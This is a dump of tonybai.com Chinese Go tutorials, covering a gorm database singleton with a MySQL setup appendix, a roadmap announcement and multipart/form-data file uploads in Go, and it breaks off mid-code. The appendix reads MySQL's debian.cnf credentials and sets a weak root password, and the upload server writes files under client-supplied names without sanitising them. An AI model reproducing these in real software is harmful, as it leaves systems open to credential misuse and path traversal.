gorm.DB底层使用的是标准库database/sql维护的连接池，因此一旦gorm.DB实例建立成功，对连接的维护也全部交由它去处理，我们在业务层无需考虑保活和断连后重连问题； 这里我们没有将获取单件的函数DB设计为不带参数的函数，而是将其设计为携带可变参数列表的函数，这主要是考虑在初次调用DB函数时，可以对底层的连接池进行设置(MaxIdleConn、MaxLifetime、MaxOpenConn)。其他情况使用时，无需传入任何参数；当然由于返回的是gorm.DB的指针，因此外层也是可以基于该指针自行设置连接池的，但在业务层动态更改连接池属性似乎并不可取； 谈到可变参数函数，这里使用了功能选项(functional option)的设计，更多关于Go语言变长参数的妙用，可以参考我的专栏文章《变长参数函数的妙用》。 接下来，我们再看看reader和updater对单件函数db.DB的使用，以reader为例：\n// github.com/bigwhite/experiments/blob/master/database-singleton/pkg/reader/reader.go package reader import ( \u0026quot;log\u0026quot; \u0026quot;time\u0026quot; \u0026quot;github.com/bigwhite/testdboper/pkg/db\u0026quot; \u0026quot;github.com/bigwhite/testdboper/pkg/model\u0026quot; ) func dumpEmployee() { var rs []model.Employee // rs: record slice d := db.DB() d.Find(\u0026amp;rs) log.Println(rs) } func Run(quit \u0026lt;-chan struct{}) { tk := time.NewTicker(5 * time.Second) for { select { case \u0026lt;-tk.C: dumpEmployee() case \u0026lt;-quit: return } } } 我们看到，reader的Run函数通过定时器每隔5s读取数据库表employee的内容，并输出。dumpEmployee函数通过db.DB非常容易的获取到访问数据库的实例，再也无需自行管理数据库的打开和关闭操作了。\n最后，我们说一下DB连接的释放。我们在上面的代码中并没有看到显式的db连接的释放，因此在这样的程序中，始终都需要访问和操作数据库。释放db连接的时候，也是程序退出的时候，当进程退出，与db之间的连接会自动释放，因此无需再显式释放。\n注：对于mysql而言，我们可以通过下面命令查看数据库的当前连接数：\nmysql\u0026gt; show status like 'Threads%'; +-------------------+-------+ | Variable_name | Value | +-------------------+-------+ | Threads_cached | 2 | | Threads_connected | 3 | | Threads_created | 5 | | Threads_running | 2 | +-------------------+-------+ 4 rows in set (0.00 sec) 以上示例代码可以在这里 https://github.com/bigwhite/experiments/tree/master/database-singleton 下载 。\n附录 mysql安装设置(on ubuntu)\n// ubuntu 18.04, mysql 5.7.33\n安装mysql：\n$apt-get install mysql-server mysql-client\n查看mysql安装成功与否：\n$ps -ef|grep mysql mysql 23965 1 0 22:55 ? 00:00:00 /usr/sbin/mysqld \u0026ndash;daemonize \u0026ndash;pid-file=/run/mysqld/mysqld.pid\n设置root密码：\n$cat /etc/mysql/debian.cnf\nAutomatically generated for Debian scripts. DO NOT TOUCH! [client] host = localhost user = debian-sys-maint password = xxxxxxxxxx socket = /var/run/mysqld/mysqld.sock\n使用debian-sys-maint/xxxxxxxxxx 登录数据库：\n$mysql -u debian-sys-maint -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \\g. Your MySQL connection id is 4 Server version: 5.7.33-0ubuntu0.18.04.1 (Ubuntu)\nCopyright (c) 2000, 2021, Oracle and/or its affiliates.\nOracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.\nType \u0026lsquo;help;\u0026rsquo; or \u0026lsquo;\\h\u0026rsquo; for help. Type \u0026lsquo;\\c\u0026rsquo; to clear the current input statement.\nmysql\u0026gt; use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A\nDatabase changed mysql\u0026gt; update user set authentication_string=PASSWORD(\u0026ldquo;root123\u0026rdquo;) where user=\u0026lsquo;root\u0026rsquo;; Query OK, 1 row affected, 1 warning (0.01 sec) Rows matched: 1 Changed: 1 Warnings: 1\nmysql\u0026gt; update user set plugin=\u0026ldquo;mysql_native_password\u0026rdquo;; Query OK, 1 row affected (0.00 sec) Rows matched: 4 Changed: 1 Warnings: 0\nmysql\u0026gt; flush privileges; Query OK, 0 rows affected (0.01 sec)\nroot密码生效：\n重启mysql服务后，root密码才能生效。\n$systemctl restart mysql.service\ndemo1数据和employee表的创建\ncreate database demo1; CREATE TABLE employee ( id bigint unsigned NOT NULL AUTO_INCREMENT, name varchar(255) NOT NULL, age int NOT NULL, gender varchar(8) NOT NULL, birthday char(14) NOT NULL, email varchar(255) DEFAULT NULL, PRIMARY KEY (id), UNIQUE KEY id (id) ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;\n“Gopher部落”知识星球开球了！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！目前该技术专栏正在新春促销！关注我的个人公众号“iamtonybai”，发送“go专栏活动”即可获取专栏专属优惠码，可在订阅专栏时抵扣20元哦。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/02/09/create-and-get-db-access-instance-through-singleton/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/create-and-get-db-access-instance-through-singleton-0.png\"\u003e\u003c/p\u003e\n\u003cp\u003e在屡次的Go用户调查中，使用Go语言进行Web服务/API开发都占据了Go语言用途调查结果的头部位置。下面是知名Go IDE \u003ca href=\"https://blog.jetbrains.com/go/\"\u003egoland\u003c/a\u003e的母公司JetBrains最新发布的\u003ca href=\"https://blog.jetbrains.com/go/2021/02/03/the-state-of-go/\"\u003eGo当前状态报告(2021.2.3)\u003c/a\u003e中的截图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/create-and-get-db-access-instance-through-singleton-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e开发Web或API服务，难免会与数据库打交道。如今创建数据库实例并访库的技术已经是很成熟了，于是就有了下面这样的程序结构：\u003c/p\u003e","title":"以单件方式创建和获取数据库实例"},{"content":"\n上一次与CSDN的合作还要追溯到《程序员》杂志仍然发行的时代(网络发行)，最后一次投稿是2017年末的《追求极简：Docker镜像构建演化史》。\n今年元旦前，CSDN编辑周翔老师邀请我参与他们策划的“IT人才成长路线图”，合作编写其中的Go语言学习技术路线图。出于让更多开发者学习Go语言、加入Go社区、壮大Go生态的公心考虑以及扩大个人影响力的私心考虑，我接受了邀请。\n去年圣诞节的前一周我开始编写Go语言学习路线图，路线图分为初阶、中阶和高阶三个层次，覆盖全面，因此内容很多，并且每个知识点都要提供相关的学习资料（最好是公开的，实在不成，收费的亦可）。这让我整整花了一周的业余时间！\n图: Go学习技术路线图：初阶\n图: Go学习技术路线图：中阶\n图: Go学习技术路线图：高阶\n今天CSDN通知我“IT人才成长路线图”发布了！这里我也将这份资料分享给大家！查看Go语言学习技术路线图有两种方法：\n在线查看 访问IT技术知识开源图谱-Go 技术学习路线图 https://codechina.gitcode.host/developer-roadmap/go/intro/ 在线查看路线图。\n下载Go语言学习技术路线图高清文件 关注我的个人技术公众号iamtonybai，发送“go2021”获取高清版Go学习路线图。\n“Gopher部落”知识星球开球了！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n目前该技术专栏正在新春促销！关注我的个人公众号“iamtonybai”，发送“go专栏活动”即可获取专栏专属优惠码，可在订阅专栏时抵扣20元哦。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/02/08/go-programming-language-learning-roadmap-2021/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-language-learning-roadmap-2021-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e上一次与CSDN的合作还要追溯到《程序员》杂志仍然发行的时代(网络发行)，最后一次投稿是2017年末的\u003ca href=\"https://tonybai.com/2017/12/21/the-concise-history-of-docker-image-building/\"\u003e《追求极简：Docker镜像构建演化史》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e今年元旦前，CSDN编辑周翔老师邀请我参与他们策划的“IT人才成长路线图”，合作编写其中的Go语言学习技术路线图。\u003cstrong\u003e出于让更多开发者学习Go语言、加入Go社区、壮大Go生态的公心考虑以及扩大个人影响力的私心考虑，我接受了邀请\u003c/strong\u003e。\u003c/p\u003e","title":"Go语言学习技术路线图2021发布了！"},{"content":"\n1. Form简介 Form(中文译为表单)，是HTML标记语言中的重要语法元素。一个Form不仅包含正常的文本内容、标记等，还包含被称为控件的特殊元素。用户通常通过修改控件（比如：输入文本、选择菜单项等）来“完成”表单，然后将表单数据以HTTP Get或Post请求的形式提交（submit）给Web服务器。\n很多初学者总是混淆HTML和HTTP。其实，http通常作为html传输的承载体，打个比方，html就像乘客，http就像出租车，将乘客从一个地方运输到另外一个地方。但显然http这辆出租车可不仅仅只拉html这一个乘客，很多格式均可作为http这辆出租车的乘客，比如json(over http)、xml(over http)。\n在一个HTML文档中，一个表单的标准格式如下：\n\u0026lt;form action=\u0026quot;http://localhost:8080/repositories\u0026quot; method=\u0026quot;get\u0026quot;\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;language\u0026quot; value=\u0026quot;go\u0026quot; /\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;since\u0026quot; value=\u0026quot;monthly\u0026quot; /\u0026gt; \u0026lt;input type=\u0026quot;submit\u0026quot; /\u0026gt; \u0026lt;/form\u0026gt; 这样的一个Form被加载到浏览器中后会呈现为一个表单的样式，当在两个文本框中分别输入文本(或以默认的文本作为输入)后，点击“提交(submit)”，浏览器会向http://localhost:8080发出一个HTTP请求，由于Form的method属性为get，因此该HTTP请求会将表单的输入文本作为查询字符串参数(Query String Parameter，在这里即是**?language=go\u0026amp;since=monthly**)。服务器端处理完该请求后，会返回一个HTTP承载的应答，该应答被浏览器接收后会按特定样式呈现在浏览器窗口中。上述这个过程可以用总结为下面这幅示意图：\nForm中的method也可以使用post，就像下面这样：\n\u0026lt;form action=\u0026quot;http://localhost:8080/repositories\u0026quot; method=\u0026quot;post\u0026quot;\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;language\u0026quot; value=\u0026quot;go\u0026quot; /\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;since\u0026quot; value=\u0026quot;monthly\u0026quot; /\u0026gt; \u0026lt;input type=\u0026quot;submit\u0026quot; /\u0026gt; \u0026lt;/form\u0026gt; 改为post的Form表单在点击提交后发出的http请求与method=get时的请求有何不同呢？不同之处就在于在method=post的情况下，表单的参数不会再以查询字符串参数的形式放在请求的URL中，而是会被写入HTTP的BODY中。我们也将这一过程用一幅示意图的形式总结一下：\n由于表单参数被放置在HTTP Body中传输(body中的数据为：language=go\u0026amp;since=monthly)，因此在该HTTP请求的headers中我们会发现新增一个header字段：Content-Type，在这里例子中，它的值为application/x-www-form-urlencoded。我们可以在Form中使用enctype属性改变Form传输数据的内容编码类型，该属性的默认值就是application/x-www-form-urlencoded(即key1=value1\u0026amp;key2=value2\u0026amp;…的形式)。enctype的其它可选值还包括：\ntext/plain multipart/form-data 采用method=get的Form的表单参数以查询字符串参数的形式放入http请求，这使得其应用场景相对局限，比如：\n当参数值很多，参数值很长时，可能会超出URL最大长度限制； 传递敏感数据时，参数值以明文放在HTTP请求头是不安全的； 无法胜任传递二进制数据(比如一个文件内容)的情形。 因此，在面对上述这些情形时，method=post的表单更有优势。当enctype为不同值时，method=post的表单在http Body中传输的数据形式如下图：\n我们看到：enctype=application/x-www-urlencoded时，Body中的数据呈现为key1=value1\u0026amp;key2=value2\u0026amp;…的形式，好似URL的查询字符串参数的组合呈现形式；当enctype=text/plain时，这种编码格式也称为raw，即将数据内容原封不动的放入Body中传输，保持数据的原先的编码方式(通常为utf-8)；而当enctype=multipart/form-data时，HTTP Body中的数据以多段(part)的形式呈现，段与段之间使用指定的随机字符串分隔，该随机字符串也会随着HTTP Post请求一并传给服务端(放在Header中的Content-Type的值中，与multipart/form-data使用分号相隔)，如：\nContent-Type: multipart/form-data; boundary=--------------------------399501358433894470769897 我们来看一个稍微复杂些的enctype=multipart/form-data的例子的示意图：\n我们用Postman模拟了一个包含5个分段(part)的Post请求，其中包含两个文本分段(text)和三个文件分段，并且这三个文件是不同格式的文件，分别是txt，png和json。针对文件分段，Postman使用每个分段中的Content-Type来指明这个分段的数据内容类型。当服务端接收到这些数据时，根据分段Content-Type的指示，便可以有针对性的对分段数据进行解析了。文件分段的默认Content-Type为text/plain；对于无法识别的文件类型（比如：没有扩展名），文件分段的Content-Type通常会设置为application/octet-stream。\n通过Form上传文件是RFC1867规范赋予html的一种能力，并且该能力已被证明非常有用，并被广泛使用，甚至我们可以直接将multipart/form-data作为HTTP Post body的一种数据承载协议在两个端之间传输文件数据。\n2. 支持以multipart/form-data格式上传文件的Go服务器 http.Request提供了ParseMultipartForm的方法对以multipart/form-data格式传输的数据进行解析，解析即是将数据映射为Request结构的MultipartForm字段的过程：\n// $GOROOT/src/net/http/request.go type Request struct { ... ... // MultipartForm is the parsed multipart form, including file uploads. // This field is only available after ParseMultipartForm is called. // The HTTP client ignores MultipartForm and uses Body instead. MultipartForm *multipart.Form ... ... } multipart.Form代表了一个解析后的multipart/form-data的Body，其结构如下:\n// $GOROOT/src/mime/multipart/formdata.go // Form is a parsed multipart form. // Its File parts are stored either in memory or on disk, // and are accessible via the *FileHeader's Open method. // Its Value parts are stored as strings. // Both are keyed by field name. type Form struct { Value map[string][]string File map[string][]*FileHeader } 我们看到这个Form结构由两个map组成，一个map中存放了所有的value part(就像前面的name、age)，另外一个map存放了所有的file part(就像前面的part1.txt、part2.png和part3.json)。value part集合没什么可说的，map的key就是每个值分段中的”name”； 我们的重点在file part上。每个file part对应一组FileHeader，FileHeader的结构如下：\n// $GOROOT/src/mime/multipart/formdata.go type FileHeader struct { Filename string Header textproto.MIMEHeader Size int64 content []byte tmpfile string } 每个file part的FileHeader包含五个字段：\nFilename – 上传文件的原始文件名\nSize – 上传文件的大小（单位：字节）\ncontent – 内存中存储的上传文件的（部分或全部）数据内容\ntmpfile – 在服务器本地的临时文件中存储的部分上传文件的数据内容(如果上传的文件大小大于传给ParseMultipartForm的参数maxMemory，剩余部分存储在临时文件中)\nHeader – file part的header内容，它亦是一个map，其结构如下：\n// $GOROOT/src/net/textproto/header.go\n// A MIMEHeader represents a MIME-style header mapping // keys to sets of values. type MIMEHeader map[string][]string\n我们可以将ParseMultipartForm方法实现的数据映射过程表述为下面这张示意图，这样看起来更为直观：\n有了上述对通过multipart/form-data格式上传文件的原理的拆解，我们就可以很容易地利用Go http包实现一个简单的支持以multipart/form-data格式上传文件的Go服务器：\n// github.com/bigwhite/experiments/multipart-formdata/server/file_server1.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;io\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;os\u0026quot; ) const uploadPath = \u0026quot;./upload\u0026quot; func handleUploadFile(w http.ResponseWriter, r *http.Request) { r.ParseMultipartForm(100) mForm := r.MultipartForm for k, _ := range mForm.File { // k is the key of file part file, fileHeader, err := r.FormFile(k) if err != nil { fmt.Println(\u0026quot;inovke FormFile error:\u0026quot;, err) return } defer file.Close() fmt.Printf(\u0026quot;the uploaded file: name[%s], size[%d], header[%#v]\\n\u0026quot;, fileHeader.Filename, fileHeader.Size, fileHeader.Header) // store uploaded file into local path localFileName := uploadPath + \u0026quot;/\u0026quot; + fileHeader.Filename out, err := os.Create(localFileName) if err != nil { fmt.Printf(\u0026quot;failed to open the file %s for writing\u0026quot;, localFileName) return } defer out.Close() _, err = io.Copy(out, file) if err != nil { fmt.Printf(\u0026quot;copy file err:%s\\n\u0026quot;, err) return } fmt.Printf(\u0026quot;file %s uploaded ok\\n\u0026quot;, fileHeader.Filename) } } func main() { http.HandleFunc(\u0026quot;/upload\u0026quot;, handleUploadFile) http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil) } 我们可以用Postman或下面curl命令向上述文件服务器同时上传两个文件part1.txt和part3.json：\ncurl --location --request POST ':8080/upload' \\ --form 'name=\u0026quot;tony bai\u0026quot;' \\ --form 'age=\u0026quot;23\u0026quot;' \\ --form 'file1=@\u0026quot;/your_local_path/part1.txt\u0026quot;' \\ --form 'file3=@\u0026quot;/your_local_path/part3.json\u0026quot;' 文件上传服务器的运行输出日志如下：\n$go run file_server1.go the uploaded file: name[part3.json], size[130], header[textproto.MIMEHeader{\u0026quot;Content-Disposition\u0026quot;:[]string{\u0026quot;form-data; name=\\\u0026quot;file3\\\u0026quot;; filename=\\\u0026quot;part3.json\\\u0026quot;\u0026quot;}, \u0026quot;Content-Type\u0026quot;:[]string{\u0026quot;application/json\u0026quot;}}] file part3.json uploaded ok the uploaded file: name[part1.txt], size[15], header[textproto.MIMEHeader{\u0026quot;Content-Disposition\u0026quot;:[]string{\u0026quot;form-data; name=\\\u0026quot;file1\\\u0026quot;; filename=\\\u0026quot;part1.txt\\\u0026quot;\u0026quot;}, \u0026quot;Content-Type\u0026quot;:[]string{\u0026quot;text/plain\u0026quot;}}] file part1.txt uploaded ok 之后我们可以看到：文件上传服务器成功地将接收到的part1.txt和part3.json存储到了当前路径下的upload目录中了！\n3. 支持以multipart/form-data格式上传文件的Go客户端 前面进行文件上传的客户端要么是浏览器，要么是Postman，要么是curl，如果我们自己构要造一个支持以multipart/form-data格式上传文件的客户端，应该如何做呢？我们需要按照multipart/form-data的格式构造HTTP请求的包体(Body)，还好通过Go标准库提供的mime/multipart包，我们可以很容易地构建出满足要求的包体：\n// github.com/bigwhite/experiments/multipart-formdata/client/client1.go ... ... var ( filePath string addr string ) func init() { flag.StringVar(\u0026amp;filePath, \u0026quot;file\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;the file to upload\u0026quot;) flag.StringVar(\u0026amp;addr, \u0026quot;addr\u0026quot;, \u0026quot;localhost:8080\u0026quot;, \u0026quot;the addr of file server\u0026quot;) flag.Parse() } func main() { if filePath == \u0026quot;\u0026quot; { fmt.Println(\u0026quot;file must not be empty\u0026quot;) return } err := doUpload(addr, filePath) if err != nil { fmt.Printf(\u0026quot;upload file [%s] error: %s\u0026quot;, filePath, err) return } fmt.Printf(\u0026quot;upload file [%s] ok\\n\u0026quot;, filePath) } func createReqBody(filePath string) (string, io.Reader, error) { var err error buf := new(bytes.Buffer) bw := multipart.NewWriter(buf) // body writer f, err := os.Open(filePath) if err != nil { return \u0026quot;\u0026quot;, nil, err } defer f.Close() // text part1 p1w, _ := bw.CreateFormField(\u0026quot;name\u0026quot;) p1w.Write([]byte(\u0026quot;Tony Bai\u0026quot;)) // text part2 p2w, _ := bw.CreateFormField(\u0026quot;age\u0026quot;) p2w.Write([]byte(\u0026quot;15\u0026quot;)) // file part1 _, fileName := filepath.Split(filePath) fw1, _ := bw.CreateFormFile(\u0026quot;file1\u0026quot;, fileName) io.Copy(fw1, f) bw.Close() //write the tail boundry return bw.FormDataContentType(), buf, nil } func doUpload(addr, filePath string) error { // create body contType, reader, err := createReqBody(filePath) if err != nil { return err } url := fmt.Sprintf(\u0026quot;http://%s/upload\u0026quot;, addr) req, err := http.NewRequest(\u0026quot;POST\u0026quot;, url, reader) // add headers req.Header.Add(\u0026quot;Content-Type\u0026quot;, contType) client := \u0026amp;http.Client{} resp, err := client.Do(req) if err != nil { fmt.Println(\u0026quot;request send error:\u0026quot;, err) return err } resp.Body.Close() return nil } 显然上面这个client端的代码的核心是createReqBody函数：\n该client在body中创建了三个分段，前两个分段仅仅是我为了演示如何创建text part而故意加入的，真正的上传文件客户端是不需要创建这两个分段(part)的； createReqBody使用bytes.Buffer作为http body的临时存储； 构建完body内容后，不要忘记调用multipart.Writer的Close方法以写入结尾的boundary标记。 我们使用这个客户端向前面的支持以multipart/form-data格式上传文件的服务器上传一个文件：\n// 客户端 $go run client1.go -file hello.txt upload file [hello.txt] ok // 服务端 $go run file_server1.go http request: http.Request{Method:\u0026quot;POST\u0026quot;, URL:(*url.URL)(0xc00016e100), Proto:\u0026quot;HTTP/1.1\u0026quot;, ProtoMajor:1, ProtoMinor:1, Header:http.Header{\u0026quot;Accept-Encoding\u0026quot;:[]string{\u0026quot;gzip\u0026quot;}, \u0026quot;Content-Length\u0026quot;:[]string{\u0026quot;492\u0026quot;}, \u0026quot;Content-Type\u0026quot;:[]string{\u0026quot;multipart/form-data; boundary=b55090594eaa1aaac1abad1d89a77ae689130d79d6f66af82590036bd8ba\u0026quot;}, \u0026quot;User-Agent\u0026quot;:[]string{\u0026quot;Go-http-client/1.1\u0026quot;}}, Body:(*http.body)(0xc000146380), GetBody:(func() (io.ReadCloser, error))(nil), ContentLength:492, TransferEncoding:[]string(nil), Close:false, Host:\u0026quot;localhost:8080\u0026quot;, Form:url.Values{\u0026quot;age\u0026quot;:[]string{\u0026quot;15\u0026quot;}, \u0026quot;name\u0026quot;:[]string{\u0026quot;Tony Bai\u0026quot;}}, PostForm:url.Values{\u0026quot;age\u0026quot;:[]string{\u0026quot;15\u0026quot;}, \u0026quot;name\u0026quot;:[]string{\u0026quot;Tony Bai\u0026quot;}}, MultipartForm:(*multipart.Form)(0xc000110d50), Trailer:http.Header(nil), RemoteAddr:\u0026quot;[::1]:58569\u0026quot;, RequestURI:\u0026quot;/upload\u0026quot;, TLS:(*tls.ConnectionState)(nil), Cancel:(\u0026lt;-chan struct {})(nil), Response:(*http.Response)(nil), ctx:(*context.cancelCtx)(0xc0001463c0)} the uploaded file: name[hello.txt], size[15], header[textproto.MIMEHeader{\u0026quot;Content-Disposition\u0026quot;:[]string{\u0026quot;form-data; name=\\\u0026quot;file1\\\u0026quot;; filename=\\\u0026quot;hello.txt\\\u0026quot;\u0026quot;}, \u0026quot;Content-Type\u0026quot;:[]string{\u0026quot;application/octet-stream\u0026quot;}}] file hello.txt uploaded ok 我们看到hello.txt这个文本文件被成功上传！\n4. 自定义file分段中的header 从上面file_server1的输出来看，client1这个客户端上传文件时在file分段(part)中设置的Content-Type为默认的application/octet-stream。有时候，服务端可能会需要根据这个Content-Type做分类处理，需要客户端给出准确的值。上面的client1实现中，我们使用了multipart.Writer.CreateFormFile这个方法来创建file part：\n// file part1 _, fileName := filepath.Split(filePath) fw1, _ := bw.CreateFormFile(\u0026quot;file1\u0026quot;, fileName) io.Copy(fw1, f) 下面是标准库中CreateFormFile方法的实现代码：\n// $GOROOT/mime/multipart/writer.go func (w *Writer) CreateFormFile(fieldname, filename string) (io.Writer, error) { h := make(textproto.MIMEHeader) h.Set(\u0026quot;Content-Disposition\u0026quot;, fmt.Sprintf(`form-data; name=\u0026quot;%s\u0026quot;; filename=\u0026quot;%s\u0026quot;`, escapeQuotes(fieldname), escapeQuotes(filename))) h.Set(\u0026quot;Content-Type\u0026quot;, \u0026quot;application/octet-stream\u0026quot;) return w.CreatePart(h) } 我们看到无论待上传的文件是什么类型，CreateFormFile均将Content-Type置为application/octet-stream这一默认值。如果我们要自定义file part中Header字段Content-Type的值，我们就不能直接使用CreateFormFile，不过我们可以参考其实现：\n// github.com/bigwhite/experiments/multipart-formdata/client/client2.go var quoteEscaper = strings.NewReplacer(\u0026quot;\\\\\u0026quot;, \u0026quot;\\\\\\\\\u0026quot;, `\u0026quot;`, \u0026quot;\\\\\\\u0026quot;\u0026quot;) func escapeQuotes(s string) string { return quoteEscaper.Replace(s) } func createReqBody(filePath string) (string, io.Reader, error) { var err error buf := new(bytes.Buffer) bw := multipart.NewWriter(buf) // body writer f, err := os.Open(filePath) if err != nil { return \u0026quot;\u0026quot;, nil, err } defer f.Close() // text part1 p1w, _ := bw.CreateFormField(\u0026quot;name\u0026quot;) p1w.Write([]byte(\u0026quot;Tony Bai\u0026quot;)) // text part2 p2w, _ := bw.CreateFormField(\u0026quot;age\u0026quot;) p2w.Write([]byte(\u0026quot;15\u0026quot;)) // file part1 _, fileName := filepath.Split(filePath) h := make(textproto.MIMEHeader) h.Set(\u0026quot;Content-Disposition\u0026quot;, fmt.Sprintf(`form-data; name=\u0026quot;%s\u0026quot;; filename=\u0026quot;%s\u0026quot;`, escapeQuotes(\u0026quot;file1\u0026quot;), escapeQuotes(fileName))) h.Set(\u0026quot;Content-Type\u0026quot;, \u0026quot;text/plain\u0026quot;) fw1, _ := bw.CreatePart(h) io.Copy(fw1, f) bw.Close() //write the tail boundry return bw.FormDataContentType(), buf, nil } 我们通过textproto.MIMEHeader实例来自定义file part的header部分，然后基于该实例调用CreatePart创建file part，之后将hello.txt的文件内容写到该part的header后面。\n我们运行client2来上传hello.txt文件，在file_server侧，我们就能看到如下日志：\nthe uploaded file: name[hello.txt], size[15], header[textproto.MIMEHeader{\u0026quot;Content-Disposition\u0026quot;:[]string{\u0026quot;form-data; name=\\\u0026quot;file1\\\u0026quot;; filename=\\\u0026quot;hello.txt\\\u0026quot;\u0026quot;}, \u0026quot;Content-Type\u0026quot;:[]string{\u0026quot;text/plain\u0026quot;}}] file hello.txt uploaded ok 我们看到file part的Content-Type的值已经变为我们设定的text/plain了。\n5. 解决上传大文件的问题 在上面的客户端中存在一个问题，那就是我们在构建http body的时候，使用了一个bytes.Buffer加载了待上传文件的所有内容，这样一来，如果待上传的文件很大的话，内存空间消耗势必过大。那么如何将每次上传内存文件时对内存的使用限制在一个适当的范围，或者说上传文件所消耗的内存空间不因待传文件的变大而变大呢？我们来看下面的这个解决方案：\n// github.com/bigwhite/experiments/multipart-formdata/client/client3.go ... ... func createReqBody(filePath string) (string, io.Reader, error) { var err error pr, pw := io.Pipe() bw := multipart.NewWriter(pw) // body writer f, err := os.Open(filePath) if err != nil { return \u0026quot;\u0026quot;, nil, err } go func() { defer f.Close() // text part1 p1w, _ := bw.CreateFormField(\u0026quot;name\u0026quot;) p1w.Write([]byte(\u0026quot;Tony Bai\u0026quot;)) // text part2 p2w, _ := bw.CreateFormField(\u0026quot;age\u0026quot;) p2w.Write([]byte(\u0026quot;15\u0026quot;)) // file part1 _, fileName := filepath.Split(filePath) h := make(textproto.MIMEHeader) h.Set(\u0026quot;Content-Disposition\u0026quot;, fmt.Sprintf(`form-data; name=\u0026quot;%s\u0026quot;; filename=\u0026quot;%s\u0026quot;`, escapeQuotes(\u0026quot;file1\u0026quot;), escapeQuotes(fileName))) h.Set(\u0026quot;Content-Type\u0026quot;, \u0026quot;application/pdf\u0026quot;) fw1, _ := bw.CreatePart(h) cnt, _ := io.Copy(fw1, f) log.Printf(\u0026quot;copy %d bytes from file %s in total\\n\u0026quot;, cnt, fileName) bw.Close() //write the tail boundry pw.Close() }() return bw.FormDataContentType(), pr, nil } func doUpload(addr, filePath string) error { // create body contType, reader, err := createReqBody(filePath) if err != nil { return err } log.Printf(\u0026quot;createReqBody ok\\n\u0026quot;) url := fmt.Sprintf(\u0026quot;http://%s/upload\u0026quot;, addr) req, err := http.NewRequest(\u0026quot;POST\u0026quot;, url, reader) //add headers 